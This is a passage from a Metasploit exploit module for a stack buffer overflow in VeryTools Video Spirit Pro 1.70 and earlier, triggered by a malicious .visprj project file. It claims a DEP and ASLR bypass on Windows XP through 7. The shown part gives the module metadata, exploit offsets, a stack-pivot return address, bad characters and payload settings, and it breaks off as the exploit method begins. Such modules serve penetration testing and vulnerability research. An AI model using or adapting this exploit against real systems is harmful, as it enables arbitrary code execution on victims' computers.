##
# $Id: videospirit_visprj.rb 12305 2011-04-11 23:32:41Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VeryTools Video Spirit Pro <= 1.70',
'Description' => %q{
This module exploits a stack buffer overflow in Video Spirit <= 1.70.
When opening a malicious project file (.visprj), a stack buffer overflow occurs,
resulting in arbitrary code execution.
This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Acidgen', #found the vulnerability
'corelanc0d3r', #rop exploit + msf module
],
'Version' => '$Revision: 12305 $',
'References' =>
[
[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-001' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800, #0x320 bytes - avoid marking wrong page as RWX
'BadChars' => "\x00\x0a\x0b\x0c\x0d\x0e\x0f\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x26\x27\x2f\x3c\x3e",
'DisableNops' => 'True',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP/Vista/Win7/... Generic DEP & ASLR Bypass',
{
'OffSet' => 168,
'OffSetToRop' => 952,
'Ret' => 0x1006CC10, #overlayplug.dll stackpivot bad char friendly
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 11 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'VideoSpirit project name.', 'msf.visprj']),
], self.class)
end
def junk
return rand_text_alphanumeric(4).unpack("L")[0].to_i
end
def exploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
header = %Q|